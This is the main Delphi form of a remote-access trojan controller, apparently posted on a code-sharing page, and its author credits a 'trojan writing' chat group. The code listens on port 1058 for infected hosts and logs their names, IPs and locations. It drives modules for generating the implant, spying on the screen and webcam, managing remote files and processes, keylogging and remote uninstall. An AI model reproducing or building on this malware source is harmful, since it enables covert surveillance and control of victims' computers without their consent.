?? unit1.pas
字號:
unit Unit1;
{作者BLOG ALALMN JACK http://hi.baidu.com/alalmn
遠程控制和木馬編寫群30096995 }
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, Menus, ExtCtrls, ComCtrls, ToolWin, StdCtrls, ImgList, OleCtrls,
SHDocVw, WinSkinData, IdComponent, IdTCPServer, IdBaseComponent,
IdAntiFreezeBase, IdAntiFreeze, shellapi,jpeg,untTQQWry;
type
TForm1 = class(TForm)
MainMenu1: TMainMenu;
N1: TMenuItem;
N2: TMenuItem;
N3: TMenuItem;
N4: TMenuItem;
N5: TMenuItem;
N6: TMenuItem;
N7: TMenuItem;
N8: TMenuItem;
PageControl1: TPageControl;
TabSheet1: TTabSheet;
TabSheet2: TTabSheet;
StatusBar1: TStatusBar;
ListView1: TListView;
ImageList1: TImageList;
WebBrowser1: TWebBrowser;
IdAntiFreeze1: TIdAntiFreeze;
SaveDialog1: TSaveDialog;
IdTCPServer1: TIdTCPServer;
SkinData1: TSkinData;
ToolBar1: TToolBar;
ToolButton1: TToolButton;
ToolButton2: TToolButton;
ToolButton3: TToolButton;
ToolButton4: TToolButton;
ToolButton5: TToolButton;
ToolButton6: TToolButton;
ToolButton7: TToolButton;
ToolButton8: TToolButton;
ToolButton9: TToolButton;
ToolButton10: TToolButton;
ToolBar2: TToolBar;
Panel1: TPanel;
Label1: TLabel;
ComboBox1: TComboBox;
Panel2: TPanel;
Label2: TLabel;
Label3: TLabel;
Edit1: TEdit;
Edit2: TEdit;
Button1: TButton;
ToolButton22: TToolButton;
PopupMenu1: TPopupMenu;
N9: TMenuItem;
ImageList2: TImageList;
procedure FormCreate(Sender: TObject);
procedure ToolButton9Click(Sender: TObject);
procedure ToolButton10Click(Sender: TObject);
procedure ToolButton1Click(Sender: TObject);
procedure ToolButton2Click(Sender: TObject);
procedure N4Click(Sender: TObject);
procedure N6Click(Sender: TObject);
procedure N5Click(Sender: TObject);
procedure N8Click(Sender: TObject);
procedure ToolButton3Click(Sender: TObject);
procedure ToolButton4Click(Sender: TObject);
procedure ToolButton5Click(Sender: TObject);
procedure ToolButton6Click(Sender: TObject);
procedure ToolButton22Click(Sender: TObject);
procedure N9Click(Sender: TObject);
procedure IdTCPServer1Disconnect(AThread: TIdPeerThread);
procedure IdTCPServer1Execute(AThread: TIdPeerThread);
procedure FormDestroy(Sender: TObject);
procedure ListView1Change(Sender: TObject; Item: TListItem;
Change: TItemChange);
procedure ListView1Click(Sender: TObject);
procedure ToolButton7Click(Sender: TObject);
procedure ToolButton8Click(Sender: TObject);
procedure N7Click(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
FleshIPList: TStringlist; {存放IP地理位置的列表}
procedure ZhuDongCmdSend(Miling, Qita: string;isbreak:Boolean); //消息的發送
function SendStreamToServer(AThread:TIdPeerThread;Cmd:String): Boolean;
function GetIPtoAdder(IpName: string): string;
procedure IdTCPServer1WorkBegin(Sender: TObject; AWorkMode: TWorkMode; const AWorkCountMax: Integer);
procedure IdTCPServer1WorkEnd(Sender: TObject; AWorkMode: TWorkMode);
procedure IdTCPServer1Work(Sender: TObject;AWorkMode: TWorkMode; const AWorkCount: Integer);
end;
type // 服務器的會話信息。
Ponlineinf = ^Tonlineinf;
Tonlineinf = record
ServerName: string[30]; {服務器主機名稱}
AThread : TIdPeerThread; {服務器線程}
Soc: integer; {服務器線程ID}
ServerAdd: string[15]; {服務器IP地址}
AdderStr: string; {地理位置}
end;
var
Form1: TForm1;
CurrentThread: TIdPeerThread;
MyFirstBmp:TMemoryStream;
OnlineServer: array[0..100] of Tonlineinf;
count:integer;
// SysDev: TSysDevEnum;
// Videolist:TStringlist;
implementation
uses
Unit2,Unit3,Unit4,Unit5,Unit6,Unit7,Unit8,Unit9,Unit11,Unit12,Unit13;
{Unit2 //FTP更新
Unit3 //服務端生成
Unit4 //遠程屏幕監控
Unit5 //視頻監控
Unit6 //遠程文件管理
Unit7 //進程管理
Unit8 //作者
Unit9 //傳輸進度
untTQQWry //IP數據庫
Unit10 //新建文件夾
Unit11 //運行參數設置
Unit12 //窗口管理
Unit13 //鍵盤記錄
}
{$R *.dfm}
procedure Tform1.ZhuDongCmdSend(Miling, Qita: string;isbreak:Boolean);
begin
form1.Enabled := isbreak; //停止
try
if not SendStreamToServer(CurrentThread,Miling+#13+Qita) then
begin
showmessage('連接出錯!');
exit;
end;
except
form1.Enabled := True; //真
end;
form1.Enabled := True; //真
end;
function Tform1.SendStreamToServer(AThread:TIdPeerThread;Cmd:String): Boolean;
var
MyStream: TMemoryStream;
i:integer;
begin
try
MyStream:=TMemoryStream.Create;
MyStream.Write(Cmd[1],Length(Cmd));
MyStream.Position:=0;
i:=MyStream.size;
AThread.Connection.WriteLn(inttostr(i));
AThread.Connection.WriteStream(MyStream);
Result := True;
except
AThread.Connection.Disconnect;
AThread.Terminate;
MyStream.Free;
Result := False;
end;
MyStream.Free;
end;
function getfilesize(str: string): string;
var len: integer;
begin
len := pos('|', str); //文件夾目錄主要操作
result := copy(str, 1, len - 1);
end;
function Tform1.GetIPtoAdder(IpName: string): string; {從IP地址得到所在地理位置}
var
QQWry: TQQWry;
slIPData: TStringlist;
IPRecordID: int64;
begin
Result := '';
try
QQWry:=TQQWry.Create(ExtractFilePath(Paramstr(0)) + 'QQWry.dat');
IPRecordID:=QQWry.GetIPDataID(IpName);
slIPData:=TStringlist.Create;
QQWry.GetIPDataByIPRecordID(IPRecordID, slIPData);
QQWry.Destroy;
Result := slIPData[3];
// (format('ID: %d IP: %s - %s 國家: %s 地區: %s', [IPRecordID, slIPData[0], slIPData[1], slIPData[2], slIPData[3]]));
slIPData.Free;
except //IP地址格式不對!
Result := 'IP地址格式不對!';
end; //
if Result = '' then Result :='【未知數據】' ;
end;
function ReadSeverStream(AThread: TIdPeerThread; var TempStr: string): Boolean; //讀取流
var
RsltStream: TMemoryStream;
TheSize:integer;
begin
try
RsltStream := TmemoryStream.Create;
TheSize := AThread.Connection.ReadInteger;
AThread.Connection.ReadStream(RsltStream, TheSize, False);
RsltStream.Position := 0;
SetLength(TempStr, RsltStream.Size);
RsltStream.Read(TempStr[1],RsltStream.Size);
Result := True;
except
AThread.Connection.Disconnect;
AThread.Terminate;
RsltStream.Free;
Result := False;
end;
RsltStream.Free;
end;
//////////////////////////////////////////////////////////////////////////////////////////////////
procedure TForm1.FormCreate(Sender: TObject);
var
IPFile: string;
MyStream: TMemoryStream;
MyStream1: TMemoryStream;
begin
count:=0; //清空防止數據的沉積
MyFirstBmp:=TMemoryStream.Create; //創建流
IdTCPServer1.DefaultPort:=1058; //設置監聽端口
IdTCPServer1.Active:=true; //開啟控件
if IdTCPServer1.Active then //判斷開啟沒
StatusBar1.Panels.Items[0].Text:='打開臨聽端口1058成功,請等待服務端上線!';
StatusBar1.Panels.Items[1].Text:='在線主機0臺';
WebBrowser1.Navigate('http://hi.baidu.com/alalmn'); //打開網站
end;
procedure TForm1.ToolButton9Click(Sender: TObject);
begin //最小化
application.Minimize;
end;
procedure TForm1.ToolButton10Click(Sender: TObject);
begin
close; //退出程序
end;
procedure TForm1.ToolButton1Click(Sender: TObject);
begin
ftp.Show; //更新IP
end;
procedure TForm1.ToolButton2Click(Sender: TObject);
begin
server.Show; //服務端生成
end;
procedure TForm1.N4Click(Sender: TObject);
begin
ftp.Show; //更新IP
end;
procedure TForm1.N6Click(Sender: TObject);
begin
server.Show; //服務端生成
end;
procedure TForm1.N5Click(Sender: TObject);
begin
close; //退出
end;
procedure TForm1.N8Click(Sender: TObject);
begin
ShellExecute(0,nil,PChar('http://hi.baidu.com/alalmn'), nil, nil, SW_NORMAL);
end;
procedure TForm1.ToolButton3Click(Sender: TObject);
begin
ZhuDongCmdSend('050', '', false);
// pingmu.Show; //遠程屏幕監控
end;
procedure TForm1.ToolButton4Click(Sender: TObject);
begin
shipin.Show; //視頻監控
end;
procedure TForm1.ToolButton5Click(Sender: TObject);
var
i:integer;
begin
// if SendStreamToServer(CurrentThread,'001') then
// CurrentThread.Connection.WriteLn('001');
for i:=0 to wenjian.TreeView1.Items.Count-1 do
begin
if wenjian.TreeView1.Items.Item[i].ImageIndex=6 then
begin
if wenjian.TreeView1.Items.Item[i].HasChildren then
wenjian.TreeView1.Items.Item[i].DeleteChildren;
wenjian.TreeView1.Items.Item[i].Delete;
break; //停止
end;
end;
wenjian.Show; //遠程文件管理
end;
procedure TForm1.ToolButton6Click(Sender: TObject);
begin
ZhuDongCmdSend('020','',false);
jincheng.Show; //進程管理
end;
procedure TForm1.ToolButton22Click(Sender: TObject);
begin
ALALMN.Show; //作者聯系
end;
procedure TForm1.N9Click(Sender: TObject);
begin
if MessageBox(Application.Handle,'你確定要卸載遠程服務端嗎?這樣你將失去對遠程主機的控制!','提示!',MB_OKCANCEL)=1 then
ZhuDongCmdSend('080','',false); //向遠程發送卸載指令
end;
///////////////////////////////////////////////////////////////////////////////////////////////////////
procedure TForm1.IdTCPServer1Disconnect(AThread: TIdPeerThread);
var
i,j:integer;
begin //斷開反映
for i:=0 to count-1 do
begin
if OnlineServer[i].Soc = AThread.ThreadID then
begin
for j:=0 to ListView1.Items.Count-1 do //數據條數 數據類型(長度)定義
begin
if ListView1.Items.Item[j].Caption = OnlineServer[i].ServerName+'-'+inttostr(OnlineServer[i].Soc) then
begin
ListView1.Items.Item[j].Delete; //刪除ListView1的數據
StatusBar1.Panels.Items[1].Text:='在線主機'+inttostr(ListView1.Items.Count)+'臺'; //IdTCPServer1斷開后應為把ListView1里面的主機全部刪除了這時應該顯示為0才對
break; //停止
end;
end;
j:=i;
while j < count-1 do
begin
OnlineServer[j].ServerName:=OnlineServer[j+1].ServerName;
OnlineServer[j].AThread:=OnlineServer[j+1].AThread;
OnlineServer[j].Soc:= OnlineServer[j+1].Soc;
OnlineServer[j].ServerAdd:=OnlineServer[j+1].ServerAdd;
OnlineServer[j].AdderStr:= OnlineServer[j+1].AdderStr;
inc(j);
end;
dec(count);
break; //停止
end;
end;
end;
?? 快捷鍵說明
復制代碼
Ctrl + C
搜索代碼
Ctrl + F
全屏模式
F11
切換主題
Ctrl + Shift + D
顯示快捷鍵
?
增大字號
Ctrl + =
減小字號
Ctrl + -